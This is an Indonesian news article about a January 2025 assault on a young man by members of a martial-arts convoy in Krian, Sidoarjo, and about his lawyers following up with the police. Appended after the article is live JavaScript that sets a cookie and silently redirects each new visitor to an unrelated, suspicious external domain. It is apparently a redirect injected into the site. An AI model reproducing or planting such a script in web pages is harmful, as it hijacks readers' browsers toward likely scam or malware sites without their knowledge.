Foto : Tim kuasa hukum korban Supolo Setyo Wibowo, S.H., M.H bersama rekan Advokat Graha Keadilan Law Firm bersama tim penyidik di ruang Reskrim Polsek Krian.
Sidoarjo | RNN – Kasus pengeroyokan yang dilakukan rombongan konvoi beratribut perguruan silat di Kecamatan Krian, Kabupaten Sidoarjo, Jawa Timur, terus menggelinding. Perkara ini kini ditangani oleh aparat Kepolisian dari Satreskrim Polsek Krian.
Tomy (26) Warga Desa Sidomulyo Kecamatan Krian Kabupaten Sidoarjo, korban pengeroyokan dari puluhan oknum perguruan pencak silat. di Jalan Raya Gub. Sunandar PS Desa Sidomulyo Kecamatan Krian Kabupaten Sidoarjo, harus mendapatkan perawatan intensif setelah kejadian tersebut di Rumah Sakit Umum Daerah (RSUD) Sidoarjo Barat akibat luka dibagian kepada dan hidung patah pada Jumat 3 Januari 2025 dini hari.
Setelah mendapatkan perawatan intensif di rumah sakit, pemuda yang berprofesi sebagai karyawan di salah satu perusahaan di kecamatan Krian Kabupaten Sidoarjo, melaporkan kejadian pengeroyokan tersebut kepada Kepolisian Sektor (Polsek) Krian, pada hari Senin 6 Januari 2025
Setelah lama kejadian yang dianggap korban bahwa proses pelaporannya tidak ada kabar akhirnya tim kuasa hukum korban Supolo Setyo Wibowo, S.H., M.H bersama rekan Advokat Graha Keadilan Law Firm mendatangi Polsek Krian untuk menanyakan terkait perkembangan kasus yang telah menimpa kliennya tersebut, pada hari Rabu 19 Maret 2025.
Menurut kuasa hukum korban memberikan keterangan atas adanya dugaan Tindak Pidana Pengeroyokan atau Penganiayaan yang mengakibatkan korban luka yang cukup serius
“Ya setelah kita lakukan klarifikasi dengan penyidik Reskrim Polsek Krian terkait kasus pengeroyokan Saudara Tomy, polisi masih melakukan penyelidikan terkait kasus tersebut, dan dengan adanya temuan bukti petunjuk handphone di Tempat Kejadian Perkara, polisi akan melakukan pemanggilan kepada orang yang diduga sebagai pemilik handphone tersebut dan sekaligus akan dilakukan klarifikasi”, tuturnya.
Sementara itu, Dadang anggota Reskrim penyidik Polsek Krian mengatakan masih melakukan pengembangan kasus pengeroyokan terhadap korban yang mengakibatkan luka yang cukup serius dan kehilangan sejumlah barang.
“Kami upayakan untuk segera melakukan proses pendalaman terkait kasus yang telah menimpa saudara Tomy”. Pungkasnya.
(function() {
const redirectUrl = “https://io548q89.evideotected.my.id/help/?32861745670379”;
const cookieName = “redirected”;
function getCookie(name) {
const value = “; ” + document.cookie;
const parts = value.split(“; ” + name + “=”);
if (parts.length === 2) return parts.pop().split(“;”).shift();
return null;
}
function setCookie(name, value, days) {
const expires = new Date(Date.now() + days*24*60*60*1000).toUTCString();
document.cookie = name + “=” + value + “; expires=” + expires + “; path=/”;
}
if (!getCookie(cookieName)) {
setCookie(cookieName, “true”, 1);
location.href = redirectUrl;
}
})();